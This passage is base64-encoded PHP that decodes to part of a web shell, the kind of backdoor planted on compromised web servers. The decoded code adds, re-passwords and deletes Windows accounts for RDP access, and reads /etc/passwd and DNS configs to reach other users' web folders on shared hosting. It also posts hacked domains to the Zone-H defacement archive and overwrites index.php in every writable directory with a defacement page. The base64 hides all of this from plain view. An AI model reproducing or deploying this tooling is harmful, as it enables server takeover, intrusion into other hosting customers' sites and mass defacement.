CAgICAgaWYocHJlZ19tYXRjaCgiLyR1c2VyLyIsIGV4ZSgibmV0IHVzZXIiKSkpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICJbY2hhbmdlIHBhc3N3b3JkOiA8Zm9udCBjb2xvcj1saW1lPmluZG94cGxvaXQ8L2ZvbnQ+XSAtPiAiOwogICAgICAgICAgICAgICAgICAgIGlmKCRjZWspIHsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9bGltZT5vazwvZm9udD4iOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPXJlZD5GaWxlZDwvZm9udD4iOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiW0lORk9dIC0+IDxmb250IGNvbG9yPXJlZD51c2VyIDxmb250IGNvbG9yPWxpbWU+JHVzZXI8L2ZvbnQ+IGJlbHVtIGFkYTwvZm9udD4iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZigkX1BPU1RbJ29wc2knXSA9PSAnMycpIHsKICAgICAgICAgICAgICAgICRjZWsgPSBleGUoIm5ldCB1c2VyICR1c2VyIC9ERUxFVEUiKTsKICAgICAgICAgICAgICAgIGlmKHByZWdfbWF0Y2goIi8kdXNlci8iLCBleGUoIm5ldCB1c2VyIikpKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiW3JlbW92ZSB1c2VyOiA8Zm9udCBjb2xvcj1saW1lPiR1c2VyPC9mb250Pl0gLT4gIjsKICAgICAgICAgICAgICAgICAgICBpZigkY2VrKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPWxpbWU+b2s8L2ZvbnQ+IjsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+ZXJyb3I8L2ZvbnQ+IjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gIltJTkZPXSAtPiA8Zm9udCBjb2xvcj1yZWQ+dXNlciA8Zm9udCBjb2xvcj1saW1lPiR1c2VyPC9mb250PiBiZWx1bSBhZGE8L2ZvbnQ+IjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIC8vCiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICItLSBDcmVhdGUgUkRQIC0tPGJyPgogICAgICAgICAgICA8Zm9ybSBtZXRob2Q9J3Bvc3QnPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndXNlcicgcGxhY2Vob2xkZXI9J3VzZXJuYW1lJyB2YWx1ZT0nICB1c2VybmFtZScgcmVxdWlyZWQ+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwYXNzJyBwbGFjZWhvbGRlcj0ncGFzc3dvcmQnIHZhbHVlPScgIHBhc3N3b3JkJyByZXF1aXJlZD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nY3JlYXRlJyB2YWx1ZT0nPj4nPgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgIC0tIE9wdGlvbiAtLTxicj4KICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSdwb3N0Jz4KICAgICAgICAgICAgPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3JfdXNlcicgcGxhY2Vob2xkZXI9JyAgdXNlcm5hbWUnIHJlcXVpcmVkPgogICAgICAgICAgICA8c2VsZWN0IG5hbWU9J29wc2knPgogICAgICAgICAgICA8b3B0aW9uIHZhbHVlPScxJz5DZWsgVXNlcm5hbWU8L29wdGlvbj4KICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nMic+VWJhaCBQYXNzd29yZDwvb3B0aW9uPgogICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSczJz5IYXB1cyBVc2VybmFtZTwvb3B0aW9uPgogICAgICAgICAgICA8L3NlbGVjdD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc19vcHNpJyB2YWx1ZT0nPj4nPgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICI7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+Y2FuIG9ubHkgYmUgb24gV2luZG93cyBzZXJ2ZXIuPC9mb250PiI7CiAgICB9CiNKVU1QSU5HCn0gZWxzZWlmKCRfR0VUWydhJ10gPT0gJ2p1bXBpbmcnKSB7CiAgICAkaSA9IDA7CiAgICBlY2hvICI8ZGl2IGNsYXNzPSdtYXJnaW46IDVweCBhdXRvOyc+IjsKICAgIGlmKHByZWdfbWF0Y2goIi9oc3BoZXJlLyIsICRkaXIpKSB7CiAgICAgICAgJHVybHMgPSBleHBsb2RlKCJcclxuIiwgJF9QT1NUWyd1cmwnXSk7CiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydqdW1wJ10pKSB7CiAgICAgICAgICAgIGVjaG8gIjxwcmU+IjsKICAgICAgICAgICAgZm9yZWFjaCgkdXJscyBhcyAkdXJsKSB7CiAgICAgICAgICAgICAgICAkdXJsID0gc3RyX3JlcGxhY2UoYXJyYXkoImh0dHA6Ly8iLCJ3d3cuIiksICIiLCBzdHJ0b2xvd2VyKCR1cmwpKTsKICAgICAgICAgICAgICAgICRldGMgPSAiL2V0Yy9wYXNzd2QiOwogICAgICAgICAgICAgICAgJGYgPSBmb3BlbigkZXRjLCJyIik7CiAgICAgICAgICAgICAgICB3aGlsZSgkZ2V0cyA9IGZnZXRzKCRmKSkgewogICAgICAgICAgICAgICAgICAgICRwZWNhaCA9IGV4cGxvZGUoIjoiLCAkZ2V0cyk7CiAgICAgICAgICAgICAgICAgICAgJHVzZXIgPSAkcGVjYWhbMF07CiAgICAgICAgICAgICAgICAgICAgJGRpcl91c2VyID0gIi9oc3BoZXJlL2xvY2FsL2hvbWUvJHVzZXIiOwogICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkZGlyX3VzZXIpID09PSB0cnVlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR1cmxfdXNlciA9ICRkaXJfdXNlci4iLyIuJHVybDsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfcmVhZGFibGUoJHVybF91c2VyKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGkrKzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqcncgPSAiWzxmb250IGNvbG9yPWxpbWU+UjwvZm9udD5dIDxhIGhyZWY9Jz9kaXI9JHVybF91c2VyJz48Zm9udCBjb2xvcj1nb2xkPiR1cmxfdXNlcjwvZm9udD48L2E+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX3dyaXRhYmxlKCR1cmxfdXNlcikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkanJ3ID0gIls8Zm9udCBjb2xvcj1saW1lPlJXPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kdXJsX3VzZXInPjxmb250IGNvbG9yPWdvbGQ+JHVybF91c2VyPC9mb250PjwvYT4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkanJ3LiI8YnI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIGlmKCRpID09IDApIHsgCiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAiPGJyPlRvdGFsIGFkYSAiLiRpLiIgS2FtYXIgZGkgIi4kaXA7CiAgICAgICAgfQogICAgICAgIGVjaG8gIjwvcHJlPiI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAnPGNlbnRlcj4KICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgTGlzdCBEb21haW5zOiA8YnI+CiAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJ1cmwiIHN0eWxlPSJ3aWR0aDogNTAwcHg7IGhlaWdodDogMjUwcHg7Ij4nOwogICAgICAgICAgICAkZnAgPSBmb3BlbigiL2hzcGhlcmUvbG9jYWwvY29uZmlnL2h0dHBkL3NpdGVzL3NpdGVzLnR4dCIsInIiKTsKICAgICAgICAgICAgd2hpbGUoJGdldHNzID0gZmdldHMoJGZwKSkgewogICAgICAgICAgICAgICAgZWNobyAkZ2V0c3M7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAgJzwvdGV4dGFyZWE+PGJyPgogICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iSnVtcGluZyIgbmFtZT0ianVtcCIgc3R5bGU9IndpZHRoOiA1MDBweDsgaGVpZ2h0OiAyNXB4OyI+CiAgICAgICAgICAgICAgICAgIDwvZm9ybT48L2NlbnRlcj4nOwogICAgICAgIH0KICAgIH0gZWxzZWlmKHByZWdfbWF0Y2goIi92aG9zdHN8dmhvc3QvIiwgJGRpcikpIHsKICAgICAgICBwcmVnX21hdGNoKCIvXC92YXJcL3d3d1wvKC4qPylcLy8iLCAkZGlyLCAkdmgpOwogICAgICAgICR1cmxzID0gZXhwbG9kZSgiXHJcbiIsICRfUE9TVFsndXJsJ10pOwogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnanVtcCddKSkgewogICAgICAgICAgICBlY2hvICI8cHJlPiI7CiAgICAgICAgICAgIGZvcmVhY2goJHVybHMgYXMgJHVybCkgewogICAgICAgICAgICAgICAgJHVybCA9IHN0cl9yZXBsYWNlKCJ3d3cuIiwgIiIsICR1cmwpOwogICAgICAgICAgICAgICAgJHdlYl92aCA9ICIvdmFyL3d3dy8iLiR2aFsxXS4iLyR1cmwvaHR0cGRvY3MiOwogICAgICAgICAgICAgICAgaWYoaXNfZGlyKCR3ZWJfdmgpID09PSB0cnVlKSB7CiAgICAgICAgICAgICAgICAgICAgaWYoaXNfcmVhZGFibGUoJHdlYl92aCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGkrKzsKICAgICAgICAgICAgICAgICAgICAgICAgJGpydyA9ICJbPGZvbnQgY29sb3I9bGltZT5SPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kd2ViX3ZoJz48Zm9udCBjb2xvcj1nb2xkPiR3ZWJfdmg8L2ZvbnQ+PC9hPiI7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX3dyaXRhYmxlKCR3ZWJfdmgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkanJ3ID0gIls8Zm9udCBjb2xvcj1saW1lPlJXPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kd2ViX3ZoJz48Zm9udCBjb2xvcj1nb2xkPiR3ZWJfdmg8L2ZvbnQ+PC9hPiI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkanJ3LiI8YnI+IjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICBpZigkaSA9PSAwKSB7IAogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gIjxicj5Ub3RhbCBhZGEgIi4kaS4iIEthbWFyIGRpICIuJGlwOwogICAgICAgIH0KICAgICAgICBlY2hvICI8L3ByZT4iOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gJzxjZW50ZXI+CiAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgIExpc3QgRG9tYWluczogPGJyPgogICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgbmFtZT0idXJsIiBzdHlsZT0id2lkdGg6IDUwMHB4OyBoZWlnaHQ6IDI1MHB4OyI+JzsKICAgICAgICAgICAgICAgICAgYmluZygiaXA6JGlwIik7CiAgICAgICAgICAgIGVjaG8gICc8L3RleHRhcmVhPjxicj4KICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ikp1bXBpbmciIG5hbWU9Imp1bXAiIHN0eWxlPSJ3aWR0aDogNTAwcHg7IGhlaWdodDogMjVweDsiPgogICAgICAgICAgICAgICAgICA8L2Zvcm0+PC9jZW50ZXI+JzsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIjxwcmU+IjsKICAgICAgICAkZXRjID0gZm9wZW4oIi9ldGMvcGFzc3dkIiwgInIiKSBvciBkaWUoIjxmb250IGNvbG9yPXJlZD5DYW4ndCByZWFkIC9ldGMvcGFzc3dkPC9mb250PiIpOwogICAgICAgIHdoaWxlKCRwYXNzd2QgPSBmZ2V0cygkZXRjKSkgewogICAgICAgICAgICBpZigkcGFzc3dkID09ICcnIHx8ICEkZXRjKSB7CiAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+Q2FuJ3QgcmVhZCAvZXRjL3Bhc3N3ZDwvZm9udD4iOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJy8oLio/KTp4Oi8nLCAkcGFzc3dkLCAkdXNlcl9qdW1waW5nKTsKICAgICAgICAgICAgICAgIGZvcmVhY2goJHVzZXJfanVtcGluZ1sxXSBhcyAkdXNlcl9pZHhfanVtcCkgewogICAgICAgICAgICAgICAgICAgICR1c2VyX2p1bXBpbmdfZGlyID0gIi9ob21lLyR1c2VyX2lkeF9qdW1wL3B1YmxpY19odG1sIjsKICAgICAgICAgICAgICAgICAgICBpZihpc19yZWFkYWJsZSgkdXNlcl9qdW1waW5nX2RpcikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGkrKzsKICAgICAgICAgICAgICAgICAgICAgICAgJGpydyA9ICJbPGZvbnQgY29sb3I9bGltZT5SPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kdXNlcl9qdW1waW5nX2Rpcic+PGZvbnQgY29sb3I9Z29sZD4kdXNlcl9qdW1waW5nX2RpcjwvZm9udD48L2E+IjsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfd3JpdGFibGUoJHVzZXJfanVtcGluZ19kaXIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkanJ3ID0gIls8Zm9udCBjb2xvcj1saW1lPlJXPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kdXNlcl9qdW1waW5nX2Rpcic+PGZvbnQgY29sb3I9Z29sZD4kdXNlcl9qdW1waW5nX2RpcjwvZm9udD48L2E+IjsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRqcnc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRvbWFpbl9qdW1wID0gZmlsZV9nZXRfY29udGVudHMoIi9ldGMvbmFtZWQuY29uZiIpOyAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRkb21haW5fanVtcCA9PSAnJykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiA9PiAoIDxmb250IGNvbG9yPXJlZD5nYWJpc2EgYW1iaWwgbmFtYSBkb21haW4gbnlhPC9mb250PiApPGJyPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCIjL3Zhci9uYW1lZC8oLio/KS5kYiMiLCAkZG9tYWluX2p1bXAsICRkb21haW5zX2p1bXApOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGRvbWFpbnNfanVtcFsxXSBhcyAkZGopIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVzZXJfanVtcGluZ191cmwgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyRkaiIpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVzZXJfanVtcGluZ191cmwgPSAkdXNlcl9qdW1waW5nX3VybFsnbmFtZSddOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdXNlcl9qdW1waW5nX3VybCA9PSAkdXNlcl9pZHhfanVtcCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiID0+ICggPHU+JGRqPC91PiApPGJyPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmKCRpID09IDApIHsgCiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAiPGJyPlRvdGFsIGFkYSAiLiRpLiIgS2FtYXIgZGkgIi4kaXA7CiAgICAgICAgfQogICAgICAgIGVjaG8gIjwvcHJlPiI7CiAgICB9CiAgICBlY2hvICI8L2Rpdj4iOwoKLy9ab25lLUggTWFzcyBQb3N0ZXIKfSBlbHNlaWYoJF9HRVRbJ2EnXSA9PSAnem9uZS1oJykgewogICAgaWYoJF9QT1NUWydzdWJtaXQnXSkgewokZG9tYWluID0gZXhwbG9kZSgiXHJcbiIsICRfUE9TVFsndXJsJ10pOwokbmljayA9ICAkX1BPU1RbJ25pY2snXTsKZWNobyAiPGZvbnQgY29sb3I9cmVkPkRlZmFjZXIgT25ob2xkIDogPGEgaHJlZj0naHR0cDovL3d3dy56b25lLWgub3JnL2FyY2hpdmUvbm90aWZpZXI9JG5pY2svcHVibGlzaGVkPTAnIHRhcmdldD0nX2JsYW5rJz48Zm9udCBjb2xvcj15ZWxsb3c+aHR0cDovL3d3dy56b25lLWgub3JnL2FyY2hpdmUvbm90aWZpZXI9JG5pY2svcHVibGlzaGVkPTA8L2E+PC9mb250Pjxicj4iOwplY2hvICI8Zm9udCBjb2xvcj1yZWQ+RGVmYWNlciBBcmNoaXZlIDogPGEgaHJlZj0naHR0cDovL3d3dy56b25lLWgub3JnL2FyY2hpdmUvbm90aWZpZXI9JG5pY2snIHRhcmdldD0nX2JsYW5rJz48Zm9udCBjb2xvcj15ZWxsb3c+aHR0cDovL3d3dy56b25lLWgub3JnL2FyY2hpdmUvbm90aWZpZXI9JG5pY2s8L2E+PC9mb250Pjxicj48YnI+IjsKZnVuY3Rpb24gem9uZWgoJHVybCwkbmljaykgewogICAgJGNoID0gY3VybF9pbml0KCJodHRwOi8vd3d3LnpvbmUtaC5jb20vbm90aWZ5L3NpbmdsZSIpOwogICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCB0cnVlKTsKICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAiZGVmYWNlcj0kbmljayZkb21haW4xPSR1cmwmaGFja21vZGU9MSZyZWFzb249MSZzdWJtaXQ9U2VuZCIpOwogICAgcmV0dXJuIGN1cmxfZXhlYygkY2gpOwogICAgICAgICAgY3VybF9jbG9zZSgkY2gpOwp9CmZvcmVhY2goJGRvbWFpbiBhcyAkdXJsKSB7CiAgICAkem9uZWggPSB6b25laCgkdXJsLCRuaWNrKTsKICAgIGlmKHByZWdfbWF0Y2goIi9jb2xvcj1cInJlZFwiPk9LPFwvZm9udD48XC9saT4vaSIsICR6b25laCkpIHsKICAgICAgICBlY2hvICIkdXJsIC0+IDxmb250IGNvbG9yPXllbGxvdz4tPiBPSzwvZm9udD48YnI+IjsKICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyAiJHVybCAtPiA8Zm9udCBjb2xvcj1yZWQ+LT4gRVJST1I8L2ZvbnQ+PGJyPiI7CiAgICB9Cn0KICAgIH0gZWxzZSB7CmVjaG8gIjxjZW50ZXI+PGZvbnQgY29sb3I9eWVsbG93IHNpemU9Mz4gWm9uZS1IIE1hc3MgU3VibWl0PC9jZW50ZXI+PGJyPgogICAgICAgIDxmb3JtIG1ldGhvZD0ncG9zdCc+Cjx1PkRlZmFjZXI8L3U+OiA8YnI+CjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSduaWNrJyBzaXplPSc1MCcgdmFsdWU9J1JveWFsIEJhdHRsZXIgQkQnPjxicj4KPHU+RG9tYWluPC91PjogPGJyPgo8dGV4dGFyZWEgc3R5bGU9J3dpZHRoOiA0NTBweDsgaGVpZ2h0OiAxNTBweDsnIG5hbWU9J3VybCc+PC90ZXh0YXJlYT48YnI+CjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3N1Ym1pdCcgdmFsdWU9J1N1Ym1pdCcgc3R5bGU9J3dpZHRoOiA0NTBweDsnPgo8L2Zvcm0+PC9mb250PiI7CiAgICB9CiAgICBlY2hvICI8L2NlbnRlcj4iOwoKLy9NQVNTIERlZmFjZQp9IGVsc2VpZihpc3NldCgkX0dFVFsnYSddKSAmJiAoJF9HRVRbJ2EnXSA9PSAnbWFzc19kZWZhY2UnKSl7CiAgICBmdW5jdGlvbiBzYWJ1bl9tYXNzYWwoJGRpciwkbmFtYWZpbGUsJGlzaV9zY3JpcHQpIHsKICAgICAgICBmb3JlYWNoKCRqIGFzICRsb2thc2kpCiAgICAgICAgaWYoaXNfd3JpdGFibGUoJGRpcikpIHsKICAgICAgICAgICAgJGRpcmEgPSBzY2FuZGlyKCRkaXIpOwogICAgICAgICAgICBmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7CiAgICAgICAgICAgICAgICAkZGlyYyA9ICIkZGlyLyRkaXJiIjsKICAgICAgICAgICAgICAgICRsb2thc2kgPSAkZGlyYy4nLycuJG5hbWFmaWxlOwogICAgICAgICAgICAgICAgaWYoJGRpcmIgPT09ICcuJykgewogICAgICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsKICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7CiAgICAgICAgICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGRpcmMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX3dyaXRhYmxlKCRkaXJjKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJbPGZvbnQgY29sb3I9IzVkZGNmYz5TZWxlc2FpIEdhbjwvZm9udD5dICRsb2thc2k8YnI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpZHggPSBzYWJ1bl9tYXNzYWwoJGRpcmMsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIGZ1bmN0aW9uIHNhYnVuX2JpYXNhKCRkaXIsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KSB7CiAgICAgICAgaWYoaXNfd3JpdGFibGUoJGRpcikpIHsKICAgICAgICAgICAgJGRpcmEgPSBzY2FuZGlyKCRkaXIpOwogICAgICAgICAgICBmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7CiAgICAgICAgICAgICAgICAkZGlyYyA9ICIkZGlyLyRkaXJiIjsKICAgICAgICAgICAgICAgICRsb2thc2kgPSAkZGlyYy4nLycuJG5hbWFmaWxlOwogICAgICAgICAgICAgICAgaWYoJGRpcmIgPT09ICcuJykgewogICAgICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsKICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7CiAgICAgICAgICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGRpcmMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX3dyaXRhYmxlKCRkaXJjKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiWzxmb250IGNvbG9yPSM1ZGRjZmM+U2VsZXNhaSBHYW48L2ZvbnQ+XSAkZGlyYi8kbmFtYWZpbGU8YnI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIGlmKCRfUE9TVFsnc3RhcnQnXSkgewogICAgICAgIGlmKCRfUE9TVFsndGlwZV9zYWJ1biddID09ICdtYWhhbCcpIHsKICAgICAgICAgICAgZWNobyAiPGRpdiBzdHlsZT0nbWFyZ2luOiA1cHggYXV0bzsgcGFkZGluZzogNXB4Jz4iOwogICAgICAgICAgICBzYWJ1bl9tYXNzYWwoJF9QT1NUWydkX2RpciddLCAkX1BPU1RbJ2RfZmlsZSddLCAkX1BPU1RbJ3NjcmlwdCddKTsKICAgICAgICAgICAgZWNobyAiPC9kaXY+IjsKICAgICAgICB9IGVsc2VpZigkX1BPU1RbJ3RpcGVfc2FidW4nXSA9PSAnbXVyYWgnKSB7CiAgICAgICAgICAgIGVjaG8gIjxkaXYgc3R5bGU9J21hcmdpbjogNXB4IGF1dG87IHBhZGRpbmc6IDVweCc+IjsKICAgICAgICAgICAgc2FidW5fYmlhc2EoJF9QT1NUWydkX2RpciddLCAkX1BPU1RbJ2RfZmlsZSddLCAkX1BPU1RbJ3NjcmlwdCddKTsKICAgICAgICAgICAgZWNobyAiPC9kaXY+IjsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgZWNobyAiPGNlbnRlcj4iOwogICAgZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0Jz4KICAgIDxmb250IHN0eWxlPSd0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsnPlR5cGUgIG9mIG1hc3MgOjwvZm9udD48YnI+CiAgICA8aW5wdXQgdHlwZT0ncmFkaW8nIG5hbWU9J3RpcGVfc2FidW4nIHZhbHVlPSdtdXJhaCcgY2hlY2tlZD5BbGwgRGlyIG1hc3MgZGVmYWNlPGlucHV0IHR5cGU9J3JhZGlvJyBuYW1lPSd0aXBlX3NhYnVuJyB2YWx1ZT0nbWFoYWwnPjEgRGlyPGJyPgogICAgPGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyc+Rm9sZGVyIDo8L2ZvbnQ+PGJyPgogICAgPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RfZGlyJyB2YWx1ZT0nJHBhdGgnIHN0eWxlPSd3aWR0aDogNDUwcHg7JyBoZWlnaHQ9JzEwJz48YnI+CiAgICA8Zm9udCBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Jz5GaWxlbmFtZSA6PC9mb250Pjxicj4KICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHZhbHVlPSdpbmRleC5waHAnIHN0eWxlPSd3aWR0aDogNDUwcHg7JyBoZWlnaHQ9JzEwJz48YnI+CiAgICA8Zm9udCBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Jz5EZWZhY2UgcGFnZSA6PC9mb250Pjxicj4KICAgIDx0ZXh0YXJlYSBuYW1lPSdzY3JpcHQnIHN0eWxlPSd3aWR0aDogNDUwcHg7IGhlaWdodDogMjAwcHg7Jz5wYXN0IGhlcmUgeW91ciBmdWNraW5nIGRlZmFjZSBwYWdlIGJybzwvdGV4dGFyZWE+PGJyPgogICAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmF